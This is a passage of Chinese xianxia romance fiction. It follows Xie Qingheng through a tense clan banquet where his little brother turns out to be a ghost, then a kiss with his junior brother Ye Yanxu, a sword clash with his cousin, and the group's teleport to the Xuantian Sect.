“此次宴席不仅为你接风洗尘,也是为了感谢周峰主的照拂之恩,”谢天磊朝周侧遥遥举杯。 谢长风的小儿子趁此爬上台阶,拽着谢青珩衣裳下摆道:“阿兄!” 小孩高兴地介绍自己:“我叫谢英逸,阿父、阿母和阿姐也叫我英儿。” “阿兄,抱。”小孩伸出手。 谢天磊眼中也泛起慈爱之色:“英儿一向怕生,没想到你一来他也来了,真是亲兄弟啊。” 谢青珩依言抱起了小孩,和他想的不一样,小孩非常轻,脸颊上的软肉如同虚幻般让人觉得不可思议。 唯一的重量还来自于小孩的红衣裳。 谢青珩盯着小孩眉宇,目光渐渐移向他头顶,近乎虚无的黑。 冰寒之气随着谢青珩抱着他的时间加重,竟然透进了肺腑,谢青珩步伐有些踉跄,但也坚持将他抱回到谢长风所在的位置上。 谢长风盯着他略有虚浮的脚步道:“既然回来了,就应当学些护身法门。” 还是徐姨娘朝谢青珩颔首,起身接过了满身香气的小孩。 云姒也道:“如今你也成年,该试着接受些谢家产业了。” 云随雨适时道:“姨夫姨母思念表弟,表弟何不留下?” 谢青珩看向坐好的师门众人,轻声道:“宗门大典即将开启,实在不便。” 云姒温柔说道:“也罢,阿母只盼着你能时不时回来。” 谢青珩点头,走向师门的位置。 可无人知晓,他的后背已经被冷汗浸湿,阴寒之气在他体 内乱窜,喉间也跟着泛着腥甜的味道。 谢青珩眼前越发模糊,那些他习以为常的命运线时隐时现,甚至有些看不清了。 直到被叶言旭喂进一颗药丸,他才觉得身上没那么冷了。 谢青珩下意识握着叶言旭的手解释道:“那是鬼魂。” 那个名叫英儿的小孩,是个早已死去多时的鬼。 周侧眼神阴翳,却越发沉默,他再次饮尽杯中酒,道:“我们今晚就走。” 江雨眠脸上难得有了怒意:“谢家怎么敢的!让鬼孩子近大师兄的身!” 玄凤、玄英更是说道:“他们还没有给阴牌!” 阴牌是大户人家才用的,刻下生卒年月,父母亲缘,便可免去阴气侵扰,如死者活着时嬉戏玩闹。 却也只限于血脉之间。 曾京墨探着谢青珩的脉,指使叶言旭道:“再喂一颗。” 叶言旭依言,谢青珩的脸色果然好多了。 他们这边的动静自然没能瞒过观察他们的众人。 谢天磊眉头微不可查地皱起,化为一抹浓重的失望。 谢长风瞥了一眼,便又接着逗弄长不大的孩子。 云姒嘴角勾起耐人寻味的弧度,下一瞬变得担忧无比,让云随雨送去了备好的阴牌。 谢天和漠然道:“长得好又怎么样,不能修炼,身体又如此孱弱,跟玉灵侄女比起来真是云泥之别。” 谢天磊慈爱地看向谢青珩说道:“玄天宗这些时日为了庆典多有忙碌,青珩不若留在谢家修养些时日再返回?” 谢青珩还没有开口,周侧停下酒杯道:“谢家主美意我等心领了,可我家大徒弟司掌临渡峰一应事务,实在割舍不下。” “再说,”周侧语调平稳,却不容置疑,“青珩之事我已上禀仙尊,到时自有仙尊决断。” 仙尊二字一出,喧闹的宴席霎时一静,奏乐之人也纷纷停下。 谢天磊眯起眼:“仙尊知晓了啊……” “那确实不宜留下,不过,还有一事,”谢天磊看向谢青珩,“算来你今年已二十三,该成家立业,留下子嗣了。” “恰好,丰宁府中有几位贵女也在适婚年纪,来日有空,你可愿回来看看?” “他不愿!” 叶言旭拍案而起,固执又直白道:“大师兄才不会娶凡尘女子!大师兄就只会在临渡峰!” 顶撞长辈,顶撞上境修士,是极其无礼的行为。 若非周侧在他们身后撑腰,谢天磊绝不会给一个伏流境界的修士留面子。 谢天磊冷哼:“娶妻生子,乃人伦纲常,用得着你来替青珩决定?!” 叶言旭猛然攥紧谢青珩的手腕,眼中哀求,声线也不稳:“大师兄你快拒绝。” 谢青珩无奈地提醒他轻些,又看向谢天磊道:“谢过祖父好意,可青珩身弱,恐耽误姑娘芳华,故而不愿。” 谢天磊摆摆手:“罢了罢了,等你想清楚再说吧。” 玄凤、玄英好奇地戳着叶言旭道:“小师弟,我们都还没说话,你为什么替大师兄说?” 叶言旭见师兄师姐都看着自己,掩耳盗铃般别过脸:“要你们管,大师兄都同意了。” 谢青珩看着恨不得钻进自己怀中的叶言旭,说不出什么重话,只能摸摸小师弟的脑袋。 谢家的宴席比他们在其他地方经历的更加有趣精致。 菜肴庄重雅致,又不失灵气风味,糕点更是做成五花八门,个个都能看出白案师傅的手艺。 席间,不住有人朝谢青珩敬酒,哪怕谢青珩以茶代酒也不能完全应付到,最后只得叶言旭出面挡下。 但也算得上没有什么波澜。 直到乐伎上场,谢长风恍然想起什么的看向谢青珩:“听人说青珩的箜篌弹得很好,我这做阿父的,可不知有没有福分听你的箜篌?” 谢青珩抚摸着耳下箜篌,道:“我的箜篌不给人作乐。” 周侧冷眼扫过去:“谢长风,你有些过了。” “怎么是有些过了?”谢长风笑道,“做阿父的想听儿子的手艺,再正常不过了,何况这是家宴,又没有外人。” 叶言旭面色也冷了下来,他说道:“我大师兄的箜篌不是在宴会上给你们的作乐的!” “反正你们都安排好了乐部,又何必让大师兄上来?” 云姒却开口道:“早听闻珩儿箜篌弹得好,正好让各位叔伯听听。” 江雨眠目光不善,无论有意还是无意,大师兄的阿父将大师兄和乐伎相提并论,已经算是轻贱,如今不依不饶,更是想要大师兄难堪。 亲生的阿父阿母,对二十年不见的孩子如此,真不知道是爱还是恨了。 坐于上方的谢天磊笑道:“这么认真做什么?青珩,你虽不能修炼,但有手艺也是极好的,你上去弹一首,祖父好为你选个合适的箜篌师傅。” 11.心意 谢青珩看着他们,有些疑惑地说道:“你们废这么大功夫接我回来,只是想听我弹箜篌?” 主位上的人笑而不语。 所有目光聚集于一处,似无形的威压驱使着谢青珩上前。 谢旻安心有不忍,可奈何祖父、伯父都开了口,他一个小辈,于情于理都不应该开口。 只是当他望着那张出尘绝世一般的脸庞时,总是怜惜不已,奈何美则美矣,却是个寿不过百的凡民。 区区凡民,为他谢家大公子已是十辈子修来的福气了。 再美,没有修为在身,也只能是世家联姻之间的筹码,就像是大房夫人云姒那样。 周侧不欲再与之僵持,他深深看了眼自家大徒儿的亲人,虽是一方大族,第二境修士,但也不能作为大徒儿的依靠,如今竟敢当着他的面折辱,未来还不知怎的。 “谢天磊,我原以为你尚且有些舐犊之情,没想到你也沦为一丘之貉了,”周侧起身,神色冰冷,“徒儿们,我们走。” 就在此时,有一妙龄少女从后方走出,她身形纤痩挺拔,如青竹般坚韧,眸中更有锐利杀伐之气。 “周峰主且慢,”少女清脆的声音回荡着,不卑不亢,“祖父和阿父也只是想知道阿兄这些年所学,无意冒犯,既然阿兄不愿,谢家也绝不强求,更没有将阿兄与乐伎比较的意思。” “是玉灵小姐……” “小姐不是在准备登仙台吗?” “怎么会突然出现?” 无数念头在眼神交换瞬间产生,却又因为台上的少女归于沉默,无论是年轻一代,还是长者,都心甘情愿听她所言,为她差遣。 这便是谢家麒麟子,亦是玄天宗备选道子之一,谢玉灵。 少女看向谢青珩,笑容里流露出天然的娇憨:“我听闻阿兄回家,特意归来。” 她又对谢天磊以及谢长风说道:“祖父、父亲,阿兄既已归家,来日方长,又何必计较一时?” 谢天磊道:“还是玉灵想的对,祖父年老,有些事情实在没想到。” 谢长风亦是。 谢玉灵三言两语平息了风波,又让谢家人对她的评价更上一层,她却依然不骄不躁,看向谢青珩的眼神也是平淡温暖。 谢青珩却愈发疑惑。 不过好在谢玉灵一出来,所有谢家人的眼神都望向了她,期盼与这位谢家未来继承人搭上话。 谢天和更是连连向谢玉灵敬酒,笑得满脸褶子,连眼睛都看不到了。 见周侧又坐下,叶言旭忍不住发问:“我们就不走了吗?” 周侧拈起糕点放入嘴中,丝毫没有尴尬道:“有人解围了,当然要化干戈为玉帛。” “师父有话要说?”谢青珩将自己那碟糕点放入周侧桌几上。 周侧笑道:“还是青珩最得我心。” 江雨眠目光停在抱着小孩的谢玉灵身上,低声道:“她很强。” 自从谢玉灵出现,空中仿若飘来无根之水,浩浩荡荡地占据所有空间。 曾京墨道:“她可是玄天宗备选道子,自然很强。” 江雨眠抿唇:“果然是备选道子么……” “若是备选道子皆如此,临渡峰还能保全下来吗?” 玄凤、玄英满不在乎道:“不是打一架就知道了吗?” “再说我们还有师父呢,师父肯定看不得我们吃苦吧?” 周侧按住两个小女孩,随口道:“当然看得,还很乐见其成。” “师父!” 周侧斟酒,缓声道:“谢家故意的,既想要试探我们的底线,又想要让这代最出众的谢家人结个善缘。” “恐怕就连谢玉灵身后的御水峰也是这么想的,”周侧笑不达眼底,“那群老家伙果然还是按捺不住想要继承我们临渡峰了。” “谢家终究还是做出了选择。” 谢青珩问道:“师父可有应对之法?” “无所谓了,”周侧不在意道,“反正临渡峰也只有你们这三两只,也不差去争什么资源了,这次回去也只是想让你们去仙尊面前露脸。” “仙尊?!”除了谢青珩,众人皆有些惊讶。 周侧道:“按理说,你们该称一声祖师,但相隔甚远,如今也只能随大众称仙尊了。” 一声仙尊落下,几人心中的大石头也就落地了。 谢家再势大,也不能撼动仙尊分毫。 宴席到了尾声,红烛也燃去大半,宾主尽欢,也到了该分别的时候。 谢青珩替已经喝醉酒的周侧告辞,谢玉灵放下英儿,主动来替他们引灯。 行至中途,谢玉灵忽然道:“祖父和阿父不是有意,阿兄从前不在家中,不知道祖父和阿父性格,往后多住一段时间就知道了。” 谢玉灵又说道:“我原是不该替长辈说话的,但阿兄即将去往玄天宗,做妹妹的也不得不说两句。” “阿兄今日去了母亲那里,应当知晓了那句谶言,”谢玉灵将往事娓娓道来,“可阿兄应当还不知道一件事,母亲出自云氏,是当年众世家围剿的云氏。” “当年谢家云家虽缔结姻亲,但谢家实力不足,保下母亲已经是全力而为,自然伸不出手去帮助云氏。” “云氏灭亡非谢家之过,可母亲却怪谢家隔岸观火,不肯伸出援手,是以对身边奴仆丫鬟动辄打骂,甚至同阿父动过手。” 谢玉灵说的情真意切:“到了最后,母亲万分厌恶腹中尚未出生的孩子,阿兄出生后,母亲状态愈发不好,用嫁妆请动天机阁的相师,想要致阿兄于死地。” “阿父不忍母子相残,故将计就计送阿兄离开,这些年也并非不是不关心阿兄,只是因为母亲的缘故,不敢多加照拂。” “但玄天宗大典在即,加之母亲这些年有云家子陪伴,心性好了不少,这才遣徐合等人来接阿兄回家。” 谢青珩却想到自己阿母所言,两者所言背离,究竟谁是真谁是假? 他不知道,也不想追究,比起这些陈年旧事,他更愿意向前看。 谢玉灵停在他们住处前,将手中灯笼递给谢青珩:“阿兄虽不在谢家,但阿父时常提起,玉灵也视阿兄为亲兄,待玉灵入第二境登仙台后,定为阿兄寻来增寿丹,弥补这些年。” “阿兄如今疏离,只愿来日能知祖父、阿父和玉灵都念着阿兄。” “这盏灯笼也算是聊表心意。” 说罢,谢玉灵不在停留。 谢青珩握着那盏灯笼,望向她的背影,竟然渐渐有了妹妹的感觉。 叶言旭盯着谢青珩的手,有些不悦,但理智却又告诉他这没什么。 兄妹亲密是常态,可他才是大师兄最疼的人。 曾京墨拍了拍谢青珩的肩膀,算是安慰。 几人将喝得烂醉的师父扶进屋,照料一番,才走出来准备休息。 叶言旭跟在谢青珩身后,亦步亦趋,直到谢青珩将他留下,眉间的不悦才彻底散去。 谢青珩刚放下灯笼,叶言旭就说道:“大师兄真信她说的?” “我不知道,”谢青珩提起云姒说给他的真相,“可是我阿母至少是登仙台的修士,怎么会被凡民算计?” 徐姨娘头顶的灰白之线已然揭晓她是个没有任何修为的凡民。 比起云姒的这个版本,好像谢玉灵的说法更有说服力。 谢青珩垂下眼睫,在只有小师弟存在的空间里,说出了自己的真心话:“太乱了,我理不清,也不想去算这些陈年旧事,他们都已经有了自己最好的选择,为什么又要将我扯进来?” 世家固然好,可比起这些外在,还有那些时时刻刻萦绕在他身上的可惜,谢青珩更愿意着粗衣,随师父还有师妹师弟游走四方。 “都是谢家的错!”叶言旭轻易下了结论,他语气里是不加掩饰的烦闷,“谢家人把大师兄送出去,长大了又想来摘桃子。” “他们就是见大师兄生的好,想让大师兄延续血脉!” 谢青珩无奈道:“你怎么还记得这个啊。” 叶言旭固执道:“他们想要夺走大师兄,我才不会让他们得逞。” “这些世家大族,说的冠冕堂皇,可做起事来谁知道他们安了什么心?!”叶言旭愤愤道,“我会养大师兄的,轮得到他们?” 谢青珩失笑,刹那间如春风拂枝头,玉兰绽放,叶言旭红了脸:“大师兄你笑什么?” “那你以后 遇到喜欢的姑娘也会这么说吗?” “大师兄!” 叶言旭盯着谢青珩的睫毛,语气有些飘忽:“我、我才不会……我不喜欢什么姑娘……我只想和大师兄在一起……” “慎言,”谢青珩快速道,“你还小,不懂这些是正常的,等日后你就明白了。” 叶言旭反驳道:“不是!我都懂的。” 谢青珩怔怔看着叶言旭逐渐逼近的身影,后者少年气扑面而来,温热的气息喷洒在他脸颊,少年一字一顿:“我不想娶妻,也不想大师兄娶妻。” “我只想和大师兄在一起。” “小师弟……你今晚是不是喝多了?”谢青珩后退,可少年伸出的臂膀坚实如铁,将他牢牢禁锢住,容不得半点反抗。 叶言旭不满道:“又是这样,大师兄总把我当小孩子看,可已经不是小孩子了。” “生辰上,”叶言旭指腹抵住谢青珩柔软的唇瓣,“我记得,我亲过这里。” “后来,也亲过。” 叶言旭眼睛亮晶晶的:“大师兄也没有拒绝,这次也不要拒绝好吗?” 谢青珩却不敢看叶言旭那双眼睛,心跳如擂鼓,可他仍旧低声道:“我们是师兄弟,小师弟,你现在出去,就当什么也没有发生。” “不要,我清楚的很,”叶言旭执拗,有些粗粝的手掌捧着谢青珩如玉的脸庞,嘴唇挨得很近,“只要大师兄推一下,我就当大师兄拒绝了,以后我娶妻生子,也不关大师兄的事。” 谢青珩睫毛轻轻颤抖,在叶言旭吻上来时尤其剧烈,两张青涩的嘴唇吻在一起是不一样的。 彼此的触感也是不一样的。 气息越来越轻,交融起来分不出你我,叶言旭轻啄谢青珩的唇,柔软得覆盖他模糊的记忆。 清幽的香气涌上鼻尖,叶言旭忍不住抱得更紧,也没等来属于大师兄的推拒。 叶言旭又啄了一下,反复确认着,得到无声的肯定后吻得更凶。 谢青珩唇瓣泛起酥麻,生理性的眼泪流下,又被抱住他的少年吻去,于是流得更凶了。 “大师兄,怎么又哭了。” 谢青珩眼前模糊,唇瓣也被亲得又麻又肿,他环住叶言旭的手在少年的肩膀上划出道道痕迹。 可叶言旭比谢青珩更过分,他又突然自下而上地揉捏着谢青珩过于绷紧的脊背,能够感受到明显的颤抖。 谢青珩的感官被放大无数倍,以至于叶言旭抵住他后背的手掌如此炙热,让他记下每一次揉捏的力度,脚下更仿佛是踩在云端那般飘飘然,若不是叶言旭扶住他,必然是站不稳的。 叶言旭还想更进一步,蓬勃的本能让少年追寻着解药,一次比一次吻得更凶。 窒息感唤醒谢青珩的摇晃不定的理智,他用力按住还欲吻下来的少年,隔着衣衫蓬勃叫他再也不能将眼前的少年看作未经人事的孩子。 谢青珩轻颤,却仍然坚持:“够了,小师弟。” 叶言旭盯着谢青珩微张的唇瓣,皓齿露出半点,使唇瓣更红更艳,如同涂了口脂一般,叫人忍不住想再尝尝味道。 莹白剔透的脸颊上红晕如霞,玉兰花也就化作了三月桃花,那双潋滟生雾的眼眸,就是春水湖光。 叶言旭回过神来,耳后滚烫一片,心跳更是如脱缰野马,他额头抵住谢青珩的额头,能够清晰地看到大师兄湿润的睫毛一簇簇排列着,露出眼底的潋滟春光。 阴影压下的瞬间,谢青珩下意识闭上眼,唇上还泛着酥麻,可少年吻先落在他湿红的眼尾。 “大师兄,”叶言旭头一次在谢青珩面前展现自己的强硬,“不许跟别人亲,更不许跟别人成婚。” 叶言旭用力抱住谢青珩:“大师兄是我的,眼睛只能看我一个人,唇也只能给我一个。” “我也一样。” 谢青珩盯着叶言旭严肃的样子,后者渐渐软了声调,下意识晃着谢青珩撒娇道:“好不好,大师兄,好不好?” 谢青珩闭眼,少年的霸道仍残留在唇上,蓬勃更是让他默然无语。 “不好的话,我要再多亲几下,不对,是十几下。” 谢青珩认命道:“好了好了,我答应你了。” 12.差距 曾京墨忽然发现这几日小师弟的心情有些过于好了。 先是天不亮就起来练剑,然后又殷勤地给每个人送早食,头发更是打理的一丝不苟,就连衣裳也过于整洁了些,最后竟然亲自给追月喂食。 这很不对。 临渡峰谁不知道,叶言旭和天马追月向来不和,不是叶言旭拔剑,就是追月展开翅膀,伏击叶言旭。 叶言旭如今的样子,不仅让曾京墨生疑,也让向来胆大的追月犹疑起来,不知该不该吃叶言旭喂到嘴边的灵果。 追月嗅了嗅灵果的味道,没有变质也没有沾上什么药粉,清新得像是刚刚从树枝上摘下来似的。 更不对劲了。 追月连连确认,最终还是扎进了没滋没味的草料之中。 “大师兄!”叶言旭拧眉道,“你这匹马是不是坏掉了,连灵果都不吃,要不我们回宗门后再换一匹?” 谢青珩换回了行走的常服,颜色黯淡,也有些老气,但架不住穿它的人生得十足的好,将旧衣裳生生拔高了好几层,檀褐色的衣袍稳重成熟,衬得谢青珩的肤色莹润非常,站着阳光下,白得让人眼前一亮,打眼看去还以为是新出款式。 追月毫不客气喷出气流,逼得叶言旭不得不后退好几步。 谢青珩走过来,手掌搭在追月硕大的头颅上,他看着追月浓黑的眼睛,后者很有灵性的眨眨眼,泪水说流就流。 “受委屈了?”谢青珩轻笑着揉着追月,“又是小师弟惹你生气了?” 追月连连点头,腹部的赘肉也跟着摇晃,一看就知道没少吃。 谢青珩知道追月的性子,若不是实在渴望,也不会控制不住自己,将灵草灵果通通往肚子里塞。 它从前太饿了。 负责照料追月的马夫是个年近三十的凡民,此时佝偻着腰,解释道:“天马大人这些天吃得太多,小人害怕大人积食,不敢让大人继续吃太多。” “我知道了,你做的很好,追月看起来也精神了很多。”谢青珩语气轻缓,并没有因为马夫身上的味道掩住口鼻,进而退避三舍。 马夫小心翼翼觑着谢青珩的表情,脸红得像马屁股,见他说的是真心话后,手都不知道该怎么摆,说话也断断续续:“谢、谢、大公子……赏……” 谢家人,无论是主脉还是旁支,都身着华服,朱缨宝饰,煌煌如天上人。 马夫以为这就是极限了,却没想到此生竟然能见到不靠华服珠宝也能如仙人一般的存在。 竟然还这般和善。 他嗅着鼻尖与马厩截然不同的清幽香气,头恨不得低到地上去,耳垂更是红得快要滴血了。 嗫嚅了好久,才说出告退的话。 谢青珩用两只手稳住追月的头颅,才没有被撞倒,他也不恼,但叶言旭却冲上来一把按住了追月。 开口就是:“大师兄!谁惹匹马生气了,明明是它不识好人心。” 叶言旭接着道:“我就是想喂喂它,好联络联络感情,你看,这还是我今早特意要的。” 谢青珩仔细注视着叶言旭手中的灵果,颜色鲜亮,自有一股果香,再看向追月,天马头顶的线颜色没有改变。 谢青珩从叶言旭手心取走灵果,指尖轻轻触碰了下,叶言旭瞬间抿着唇看向别处,耳尖隐隐有了红色。 “试试吧,小师弟真打算和你握手言和了,”谢青珩补充一句,“我保证。” 叶言旭别扭道:“没错没错,我已经认识到过去的错误了,追月你就吃吧,以后咱哥俩一起吃香的喝辣的。” 追月试探了下才吃下灵果,望向叶言旭的目光也平和下来。 叶言旭嘴角翘起,手掌沿着谢青珩摸过的地方摩挲着。 两人在大庭广众之下偷偷交换了个眼神。 周侧衣衫不整伸了个懒腰,抬眼扫过在场的徒弟们,说道:“既然都到齐了,我们就走吧,正好有冤大头愿意给我们出传送阵的费用。” 丰宁府设有五个传送阵,暗合地势风水以及五行,又以东面为尊,故而最大也最全的传送阵在东面。 东传送阵离谢家所在的里坊不算太远,一路穿行过去,能经过最繁茂的坊市,沿途能看见不同服饰甚至于非人的商人客人穿梭其中,其中又以赌斗秘境之物或是仙家法宝最盛。 但距离传送阵越近,人烟也就越发稀少,或者说是不见任何凡民,路上只有挂着各家徽印的车马奔波,或是修行者踏剑而行,亦或是依凭什么宝物。 总之,能来到这里的人近乎都是修士,且是有一门稳定的灵石来源的修士。 传送阵依据去向被划分成好几个区域,又因稳定程度价格逐步抬升,有些价格都快近乎天价了。 但好在基本所有的传送阵都是由玄天宗承接修建,对玄天宗弟子、执事、客卿、长老以及峰主都有不同程度的减免。 周侧身为一峰之主,享有的自然是最高也是最全面的减免力度,可再高再全面,也抵挡不住这位峰主几十年如一日的将宗门福利挪用为赌资,逼得弟子不得不自食其力。 此次跟他们一起的还有谢家十几位修士,为首的自然是谢玉灵和云随雨。 谢玉灵自然不必多说,谢家人众星捧月地将她围在中心,已经可以见到她的地位和威信了。 云随雨更不一般,他在谢家维持的形象很好,既不给人寄人篱下的轻视,也不会让人觉得他忘恩负义,其中把握精准,也少不了他在玄天宗的地位。 任谁也不会将这位精通世俗之道的男人与传闻里杀伐果决的剑修联系到一起,更不敢将其与峰主亲传划等号。 偏偏这位真的是天剑峰亲传,亦是同谢玉灵一般的备选道子。 云随雨没跟谢家呆在一起,他大踏步直奔谢青珩所在的地方,温声递上一枚红莲样式的储物戒:“姨母担忧表弟,特意备下了表弟可能用的丹药灵器。” 谢青珩没有接,他轻声道:“我师父已经备好了,阿母的心意,表哥收着就好。” 他是真的无意与谢家再有牵连了,谢家与云家之事过于混杂,他一介将死之身,与其将剩余的时间投入到亲情之中,不如珍重眼前人。 云随雨将储物戒精准投入谢青珩怀中,笑道:“毕竟是姨母的心意,表弟来日得空,亲自跟姨母说罢。” 谢青珩下意识望向叶言旭,后者抓起戒 指就追了上去,哪知云随雨脚步纷乱却无误地避开叶言旭的动作,甚至游刃有余地穿过叶言旭气急用上的杀机。 叶言旭不想在大师兄面前丢了面子,声音一冷:“何归去!” 长剑应声出鞘,寒光一闪,剑尖瞬息而至云随雨脖颈,一枚戒指就这么卡在剑尖上。 云随雨丝毫不惧,他喉中发出短促的笑声,双指并拢夹住寒光凛冽的剑尖,手腕稍加用力,剑身不受控制的倾泄,他手臂一挥荡开何归去,一抹残红划过弧线,云随雨握住何归去的剑柄,随手弹了下剑身,道:“是把好剑,它叫什么名字?” 叶言旭死死盯着云随雨,少年意气达到了顶峰,不断驱使着何归去,但泥牛入海,不见丝毫回音。 “它叫何归去,”谢青珩起身,淡美的眉眼望向云随雨,皓腕霜雪,捧于云随雨眼前道,“我向表哥请罪,请表哥将何归去还与我。” 云随雨眼中终于多了些剑修的肆意,他盯着谢青珩的掌心,轻红从素白莹润的肌肤中透出,平添许多旖旎,叫人忍不住想他捧着什么东西,又更想亲自把玩。 这是一双不能沾冷水,不能抬重物,更不能舞剑的手。 莹然蹁跹,恍若玉石凝脂,该奉于高堂云端之上。 云随雨嘴角噙着别有深意的笑容,他横举长剑,摇头道:“表弟这双手娇嫩,何必拿这些铁器。” 随即,云随雨向上抛剑,剑鸣阵阵,贯入剑鞘之中。 “好剑,好名字,可惜跟了个一般的主人。” “你说什么!” 云随雨看着叶言旭狰狞的表情,又看着谢青珩眼底不自觉涌上的关切,淡漠笑道:“你拿剑的时候太年轻,用剑的时间也太短,你不懂剑,剑也不懂你,可惜了,你若能用它,方才便不是这般结果了。” “不过,”云随雨停顿片刻道,“但还有些意思,你要是有意,将来可来天剑峰寻我,当然,看在表弟的份上,我可以将你引荐给师尊。” 叶言旭咬牙,挤出四个字:“欺人太甚!” 云随雨道:“这算什么欺负?你若连这个都忍受不了,还是不要上宗门大比了。” 他又看向谢青珩道:“表弟,你的眼光有待提升啊。” 谢青珩拦住想要上前的叶言旭,他看向云随雨,后者朝他笑得温和,谢青珩容色未变,直视着云随雨的眼神道:“多谢表哥指教,我家小师弟年纪小,性子难免直率了些,来日得闲我亲自领小师弟上门请教表哥。” 叶言旭还不想认输,谢青珩一拽他袖子,叶言旭就不得不跟着谢青珩一起转身。 “大师兄,我还能打,他也就境界比我高了些,以境压人罢了。” 谢青珩却没有附和他的话,而是正色道:“输了就是输了,借口什么不重要,最重要的是你看到了什么。” “小师弟,你以往没遇见能和你一较高下的同代剑修,此次于你正好是场磨炼,祸兮福所倚福兮祸所伏,未尝不能借此精进。” 见叶言旭还有不服,谢青珩扯下了最后的遮羞布:“表哥方才并未以境压人,只是全凭着对剑道的理解,便能镇压何归去,小师弟,你当真不知道吗?” 13.玄天宗 “好了,别生气了。” 谢青珩轻轻勾起叶言旭藏在衣袖下的手,后者仍旧僵直地背对他望着传送阵外变幻的风景。 自从那话落下,谢青珩就发觉自己说重了,他居然在小师弟失意时说了这般话,难免伤害到了小师弟的自尊,他懊悔不已,说了许多道歉的话,可小师弟还是不理他。 传送阵中重重金光落下,繁复古老的纹路层层点亮,遗漏的威力让眩晕感不可避免袭来,在场众人都有不同程度的眩晕,唯有谢青珩最为严重。 好在最后一刻,叶言旭攥住谢青珩手腕,转身顺势揽腰,才没让他摔下去。 谢青珩望着叶言旭冷硬的下颌,强撑着从叶言旭怀里站起身来,才没有闹出更多笑话。 叶言旭帮着谢青珩整理弄乱的发髻和衣衫,别扭道:“大师兄以后不许帮别人说话。” 又补充道:“我以后一定会比他厉害,何归去也是。” 谢青珩低声道:“好,我以后不会这么说了,那你还生气吗?” 叶言旭语气很硬,但牵着谢青珩的手却很轻:“我才没有生气。” 两人对话和动作发生得急促短暂,看起来也是十分正常,但架不住谢青珩那张清绝脱俗的脸,在一众人中显目得犹如暗夜之火,犹似众星捧月,让在场所有人的目光都有意无意地望向他。 修士受天地精华,肉/身在一次又一次超脱中臻至圆满,那些不起眼又重要的小瑕疵也会慢慢褪去,还复生命最初的样子。 但也会受限于修士自身的条件,不可能因为修行在瞬息之间变为美人。 谢玉灵也在暗自打量自己这个不可能修行兄长,肤白若凝脂,面如冠玉,犹似枝头雪色,玉兰幽香,在他和众人之间划出一道清晰明了却又暧昧不已的沟壑。 一介凡民居然生得这般美丽,宛若琉璃雪色,须臾即散,更让人升起想要摧毁掌握的恶念。 若不是谢家包下了整座传送阵,谢青珩恐怕都等不到现在就被人掳走了。 谢玉灵看向站在最前面的周侧,眼底划过一抹极为轻微的暗色,周侧,真是和她师尊说的一样,是块又臭又的顽石,膈应得紧。 她察觉到有视线在看她,漫不经心与云随雨对上了眼神,两人都在彼此眼中看到了狠色和决心。 云随雨微微一笑,向谢玉灵点头致意。 他们心知肚明,目光便不会停留在将死之人身上,毕竟彩云易散琉璃脆。 谢家人大多眼神复杂,既着迷谢青珩的容貌,又想起他的身份,最后化作一声叹息。 谢青珩先看见的是望不到边际的湖海,水面纯黑,泛起的三角波浪小而轻巧的反射着阳光,像是给这片黑海镀上了一层金色。 借着反光,能看到碧蓝的天空,纯白如棉絮的云朵,时间仿若在此寂静,任何风声或是鸟兽啼鸣都消融在了无边黑海之中。 谢青珩想起师父曾经说过的,望向天空,纯净得不着一物的天空中白云成片,凹陷或凸出的阴影中,总让他怀疑是不是藏着洞天的一角。 叶言旭牵着谢青珩的手往前走,也跟着他看向天空。 之前还有些吵闹的玄凤玄英宛若被下了禁言咒般闭上了嘴巴,喜怒不形于色的江雨眠也复杂又惊骇地向上看去,曾京墨紧跟着她们,眼中也有难言的震撼。 谢家人看着他们脸上的震惊,哪像是主峰弟子应有的样子,但也没真正说出来。 毕竟每一个见到此等情景的人都会拜服在这通天彻地的伟力之下。 可这还远算不上真正的的洞天。 周侧眼含怀念,大步向前:“走吧,该让你们看看我玄天宗了。” 成群的仙鹤早已聚集在供它们停留的平台上,此时正慵懒地梳理毛发,听到来人的脚步,瞬间抖了抖身子,小踏步地转过来看着他们。 谢青珩看着仙鹤已然通了灵智的黑眼珠,再看看它们黑白分明的羽翼,上面犹有亮光闪光,比许多妖兽都要强。 一只体型格外健硕的仙鹤从天而降,挡在谢青珩和与他对望的仙鹤面前,强大的气流清退了围在他们身边的仙鹤,也将叶言旭逼退好几步。 不仅是他,就是谢玉灵和云随雨也不得不退到安全地带,而跟在他们身后的谢家弟子更是差点被强大的气流掀翻。 唯有谢青珩连发髻都不曾偏移。 谢玉灵已然认出了那只巨大无比的仙鹤,她身后的谢家人惊叫出声:“鹤王!” 但其他人却不知道,也有些惊讶地看着反应这么大的谢家人。 云随雨为他们解释道:“这是接送仙鹤中的首领,如今已然入道第一境伏流后期,我师尊说,这只仙鹤有望摆脱奴印,成为我玄天宗的弟子。” “此前已有不少师兄师姐想要前来契约它,”云随雨话锋一转,“可惜鹤王高傲,不许寻常弟子靠近,入道以后,被特赦不用接引弟子,来去无踪,没想到今日能够有缘得见鹤王。” 谢玉灵漠然看着踱步的鹤王,她此前也曾去药师峰求丹引鹤王,却终是落了个一场空。 鹤王长长的喙轻点谢青珩掌心,在他不曾退缩后,又将脑袋慢慢放上来,可它生得实在庞大,单是头颅都和成年男子差不多了,谢青珩克制地摸了摸鹤王的羽毛,和他想的不一样,鹤王外面的羽毛摸起来跟铁石几乎无异,内里的绒羽却格外柔软,陷进去就不想出来了。 鹤王却倏忽抽离,开始展示自己雄伟的身材,它展开的羽翼,又抖抖身体,围绕着谢青珩打转。 周侧脸色瞬间黑沉,眼底的怀念全然不见,他跨步上前,直接捉住鹤王的翅根:“什么东西,老子告诉你,要接引接引,不接引就滚一边去,再让老子看到,就清炖了你!” 鹤王扑腾着翅膀挣扎,但周侧的境界修为不是假的,随着鹤王挣扎越发用力,鹤王坚硬的羽毛飞溅,差点刺入围观者的胸口。 见挣扎不成,鹤王也明白了周侧不是它可以撼动的存在,小眼睛滴溜溜地看向谢青珩,祈求之意溢于言表。 谢青珩于心不忍,刚有动作就被叶言旭拽住了手腕,强硬地拖到更后面。 曾京墨笑着朝谢青珩解释:“师兄,这是跟你求偶呢。” 谢青珩也愣住了,白马顺势走上前,展开自己的羽翼,高傲地看向挣扎着的鹤王。 鹤王认清了形势不再挣扎,在周侧的黑脸下朝谢青珩乖顺地曲腿。 周侧转头说道:“小、叶言旭,你去坐。” 而后,周侧又对追月说道:“你跟在他们后面,别离太远,不然会被阵法自发驱逐出去。” 有了周侧插手,后面的一切都很顺利。 谢青珩坐在白色的天马上面,随着高度的提升攥紧缰绳,高处单薄的空气让他胸口有些发闷,幸而他提前服下了药丸,不然又会离魂。 鹤王带领着他们穿过一处看似无异样的地方,仿若撞碎玉瓶,挤入一条狭窄的通道,而后眼前骤然明朗。 